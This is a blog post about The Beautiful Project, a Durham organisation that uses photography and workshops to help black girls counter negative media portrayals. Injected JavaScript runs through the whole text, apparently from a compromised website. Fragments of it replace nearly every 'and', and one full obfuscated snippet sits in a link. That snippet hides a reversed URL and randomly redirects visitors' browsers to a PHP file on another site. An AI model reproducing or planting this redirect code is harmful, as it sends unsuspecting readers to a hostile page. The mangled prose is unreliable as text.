Helping Black Girls find Their Beauty

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>>4427278761_92c7a48cf9_zBy Amber Ukena

A girl running down the street, arms powering her movement. A group of girls dancing to the beat, one with a grin that threatens to turn into deep laughter at any moment. One girl takes a photo while another looks at something in the distance, the essence of a pensive grin on her face. Words about big braids, going to the salon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and loving your hair.

These are the images of >>The Beautiful Project, a Durham, N.C.-based organization that’s helping black girls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women find andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and honor their true selves by confronting positive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and negative portrayals of black girls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women in the media andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in our communities.

As a mother, one of my strongest desires for my children is that they grow up with a strong sense of self, a positive definition for who they are andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how they fit into our culture, without losing the unique andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and special qualities that make them individuals. I have a son who is adopted from Ethiopia. He has beautiful brown skin, big eyes with endless lashes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lovely curls that frame his handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andsome face. He is kind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and generous andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspired. And he will face the joys andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and challenges of growing up as a black man in America. He will face assumptions about who he is. Negative assumptions that couldn’t be farther from the truth. Assumptions played out every day in our media andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communities.

This is why The Beautiful Project is so vital. By confronting negative imagery, lifting up positive imagery andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and showing the many, varied ways every black girl is beautiful, the program helps black girls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women find a sense of self that celebrates their beauty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and validates all the amazing aspects of what makes them unique andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and special andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and something to aspire to.

Founded by Jamaica Gilmer as a way to impact black girls through photography, The Beautiful Project uses photography, reflective workshops andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mentoring in a variety of programs. The organization shares photographs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and interviews, as well as personal stories submitted from the community, to capture the unique beauty of black girls just as they are. Facilitated “Saturday Studios” are workshops designed to engage girls in conversation about their beauty while empowering them to find their voice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and share it. Undergraduate interns support the The Beautiful Project as photographers, facilitators andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mentors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are able to continue their personal journey of identity through the organization’s health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wellness department.

A 2013 study by >>Essence found negative imagery of black women was often seen twice as frequently as positive imagery. And that negative imagery falls into pretty alarming categories: Gold Diggers, Modern Jezebels, Baby Mamas, Uneducated Sisters, Ratchet Women, Angry Black Women, Mean Black Girls, Unhealthy Black Women, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Black Barbies.

And teens are more susceptible to negative imagery due to the amount of media they consume—9 hours a day according to a 2015 report by >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-teens”>Common Sense Mediaandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their tendency to look to pop culture, which leans more negative, for cues on self-expression.

Thankfully >>The Beautiful Project provides an alternative to those negative categories, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gives black girls tools to navigate the media landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and engage in their communities. And there are many ways to get involved, including submitting your stories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and photographs to one of the organization’s image campaigns. For example, “The Sisterhood Storytelling Series,” based on the tenets of the Sisterhood Creed (joy, suffering, keeping, acceptance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sharpening), invites black women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and girls to share how their relationship with another black woman exemplifies one of these tenets.

Negative imagery of black women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and men is something that hits close to home for me, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s something I think about daily. I want a world where Gold Diggers, Modern Jezebels andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Baby Mamas aren’t part of the story black women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and girls are burdened with carrying. A world where my son isn’t put into a category because he’s black. Offering up a new story for black women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and girls, a truly beautiful one, is something we can all aspire to carry forward.

 

About Me

Amber Ukena formerly ran global PR andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and marketing campaigns for business andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tech clients. Today she co-owns a content marketing agency based in North Carolina, where her cat serves as office manager. She lives in a house full of boys who treat her like a queen (most of the time) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is mom to a 10-year-old social butterfly who hails from Ethiopia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and step-mom to a 7-year-old train enthusiast.

 




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